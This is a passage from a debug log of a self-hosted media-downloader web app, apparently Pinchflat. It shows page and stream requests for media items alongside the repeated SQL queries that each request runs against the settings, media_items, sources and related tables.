s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.097 [info] Sent 200 in 32ms 06:03:20.098 [debug] QUERY OK source="settings" db=3.4ms queue=3.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.099 [debug] QUERY OK source="oban_jobs" db=4.7ms queue=5.6ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7160] 06:03:20.100 [info] GET /sources/31/media/91232 06:03:20.100 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91232", "source_id" => "31"} Pipelines: [:browser] 06:03:20.101 [debug] QUERY OK source="media_items" db=7.5ms queue=6.0ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91231] 06:03:20.102 [debug] QUERY OK source="settings" db=4.5ms queue=4.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.102 [debug] QUERY OK source="settings" db=4.9ms queue=3.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.103 [debug] QUERY OK source="media_items" db=2.0ms queue=5.0ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91231] 06:03:20.103 [debug] QUERY OK source="settings" db=4.8ms queue=4.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.103 [info] Sent 200 in 36ms 06:03:20.104 [debug] QUERY OK source="settings" db=2.0ms queue=5.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.105 [info] GET /sources/31/media/91233 06:03:20.106 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91233", "source_id" => "31"} Pipelines: [:browser] 06:03:20.106 [debug] QUERY OK source="settings" db=3.1ms queue=5.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.106 [debug] QUERY OK source="settings" db=6.8ms queue=3.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.104 [debug] QUERY OK source="settings" db=1.5ms queue=4.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.107 [debug] QUERY OK source="settings" db=2.9ms queue=4.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.107 [info] GET /sources/31/media/91232/edit 06:03:20.108 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91232", "source_id" => "31"} Pipelines: [:browser] 06:03:20.108 [debug] QUERY OK source="media_items" db=3.8ms queue=2.5ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91232] 06:03:20.109 [debug] QUERY OK source="settings" db=4.1ms queue=2.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.110 [info] Sent 200 in 44ms 06:03:20.111 [debug] QUERY OK source="tasks" db=3.8ms queue=3.0ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91231] 06:03:20.111 [debug] QUERY OK source="sources" db=4.4ms queue=2.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.111 [info] GET /sources/31/media/91233/edit 06:03:20.112 [debug] QUERY OK source="settings" db=3.0ms queue=4.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.112 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91233", "source_id" => "31"} Pipelines: [:browser] 06:03:20.113 [debug] QUERY OK source="settings" db=2.3ms queue=6.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.114 [info] GET /sources/31/media/91235 06:03:20.114 [debug] QUERY OK source="settings" db=2.0ms queue=5.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.114 [info] GET /sources/30/media/90857/edit 06:03:20.113 [info] GET /sources/31/media/90767 06:03:20.115 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90857", "source_id" => "30"} Pipelines: [:browser] 06:03:20.115 [debug] QUERY OK source="media_items" db=3.0ms queue=5.5ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91233] 06:03:20.114 [info] GET /media/fec685e0-d16d-4a29-aa2b-0aa65e9f172c/stream 06:03:20.115 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "fec685e0-d16d-4a29-aa2b-0aa65e9f172c", "v" => "1780530243"} Pipelines: [:maybe_basic_auth] 06:03:20.114 [info] GET /sources/31/media/90892 06:03:20.115 [debug] QUERY OK source="settings" db=7.5ms queue=3.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.116 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91235", "source_id" => "31"} Pipelines: [:browser] 06:03:20.116 [debug] QUERY OK source="settings" db=3.2ms queue=5.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.116 [debug] QUERY OK source="settings" db=1.0ms queue=5.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.116 [debug] QUERY OK source="media_items" db=1.9ms queue=5.7ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91232] 06:03:20.116 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:03:20.117 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 06:03:20.118 [debug] QUERY OK source="settings" db=3.3ms queue=6.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.119 [debug] QUERY OK source="tasks" db=2.4ms queue=6.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91232] 06:03:20.119 [debug] QUERY OK source="settings" db=2.0ms queue=4.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.120 [info] GET /media/4adf5ac9-b70c-4182-9100-86b50d6f5878/stream 06:03:20.120 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4adf5ac9-b70c-4182-9100-86b50d6f5878", "v" => "1780443860"} Pipelines: [:maybe_basic_auth] 06:03:20.121 [info] Sent 200 in 43ms 06:03:20.121 [debug] QUERY OK source="settings" db=2.4ms queue=8.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.121 [debug] QUERY OK source="media_items" db=2.0ms queue=3.8ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91233] 06:03:20.122 [debug] QUERY OK source="settings" db=2.6ms queue=3.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.122 [info] Sent 200 in 45ms 06:03:20.119 [debug] QUERY OK source="sources" db=2.9ms queue=5.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.124 [debug] QUERY OK source="media_items" db=2.2ms queue=5.2ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["fec685e0-d16d-4a29-aa2b-0aa65e9f172c"] 06:03:20.125 [debug] QUERY OK source="media_items" db=4.8ms queue=4.0ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90857] 06:03:20.125 [debug] QUERY OK source="sources" db=3.5ms queue=5.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.125 [debug] Invalid range request for media item: fec685e0-d16d-4a29-aa2b-0aa65e9f172c - serving full file 06:03:20.126 [info] Sent 200 in 11ms 06:03:20.126 [info] GET /sources/30/media/141039/force_download 06:03:20.126 [debug] QUERY OK source="media_items" db=5.0ms queue=4.6ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91235] 06:03:20.127 [debug] QUERY OK source="settings" db=1.9ms queue=6.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.127 [debug] QUERY OK source="tasks" db=7.8ms queue=3.9ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91233] 06:03:20.130 [debug] QUERY OK source="settings" db=3.4ms queue=7.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.130 [debug] QUERY OK source="media_items" db=5.0ms queue=6.1ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 06:03:20.130 [debug] QUERY OK source="settings" db=2.7ms queue=8.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.130 [debug] QUERY OK source="media_items" db=5.2ms queue=6.5ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 06:03:20.131 [debug] QUERY OK source="media_profiles" db=4.5ms queue=7.6ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.132 [debug] QUERY OK source="settings" db=2.1ms queue=9.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.135 [debug] QUERY OK source="settings" db=5.2ms queue=9.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.135 [info] Sent 200 in 51ms 06:03:20.136 [debug] QUERY OK source="settings" db=5.8ms queue=8.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.136 [debug] QUERY OK source="media_profiles" db=4.2ms queue=8.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.137 [debug] QUERY OK source="settings" db=0.8ms queue=11.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.138 [debug] QUERY OK source="media_profiles" db=6.5ms queue=8.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.138 [info] Sent 200 in 73ms 06:03:20.141 [debug] QUERY OK source="tasks" db=3.3ms queue=10.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91235] 06:03:20.141 [debug] QUERY OK source="settings" db=3.9ms queue=10.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.141 [debug] QUERY OK source="media_items" db=11.1ms queue=9.4ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4adf5ac9-b70c-4182-9100-86b50d6f5878"] 06:03:20.143 [debug] QUERY OK source="settings" db=5.5ms queue=11.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.143 [debug] QUERY OK source="settings" db=5.0ms queue=11.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.144 [debug] QUERY OK source="settings" db=3.0ms queue=13.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.146 [debug] QUERY OK source="tasks" db=2.3ms 